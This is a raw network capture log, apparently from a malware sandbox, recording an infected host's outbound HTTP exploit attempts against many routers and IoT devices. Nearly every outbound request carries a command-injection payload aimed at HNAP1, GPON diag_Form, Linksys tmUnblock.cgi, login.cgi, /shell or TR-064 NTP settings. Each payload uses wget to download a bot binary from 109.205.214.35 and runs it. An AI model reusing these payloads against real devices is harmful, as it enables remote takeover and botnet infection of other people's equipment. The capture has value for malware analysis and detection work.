Mar 21, 2024 05:27:08.641943932 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:08 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1768	192.168.2.23	38340	172.65.186.69	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:09.249821901 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1769	192.168.2.23	44994	23.202.65.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:09.751188040 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:09.897664070 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:27:09 GMT Date: Thu, 21 Mar 2024 04:27:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 39 30 36 32 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 32 32 39 26 23 34 36 3b 31 37 66 62 35 34 64 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.b9062c17.1710995229.17fb54dd</BODY></HTML>
Mar 21, 2024 05:27:10.528244972 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:27:09 GMT Date: Thu, 21 Mar 2024 04:27:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 39 30 36 32 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 32 32 39 26 23 34 36 3b 31 37 66 62 35 34 64 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.b9062c17.1710995229.17fb54dd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1770	192.168.2.23	41492	212.220.85.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:09.751271009 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1771	192.168.2.23	50660	104.86.98.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:09.866024971 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:27:10.374269009 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:27:10.985724926 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:27:11.074434042 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:27:11 GMT Date: Thu, 21 Mar 2024 04:27:11 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 63 62 39 63 33 61 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 32 33 31 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.cb9c3a17.1710995231.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1772	192.168.2.23	56580	3.104.236.198	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:10.708482027 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:11.016675949 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:27:10 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1773	192.168.2.23	39360	45.60.78.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:10.802994013 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:11.106013060 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1774	192.168.2.23	37284	77.78.32.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:10.917071104 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:11.580360889 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:11.786444902 CET	289	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 X-XSS-Protection: 1;mode=block Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Type-Options: nosniff CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1775	192.168.2.23	48622	158.58.17.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:10.970752954 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:11.783533096 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:13.381881952 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1776	192.168.2.23	46322	110.92.18.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:11.016289949 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:11.329770088 CET	259	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Thu, 21 Mar 2024 04:27:11 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1777	192.168.2.23	39528	104.24.162.36	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:11.331573009 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1778	192.168.2.23	54612	179.52.84.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:11.485393047 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:11.651210070 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1779	192.168.2.23	54636	179.52.84.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:11.651329041 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:11.795192957 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1780	192.168.2.23	32858	156.235.98.200	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:11.806318045 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
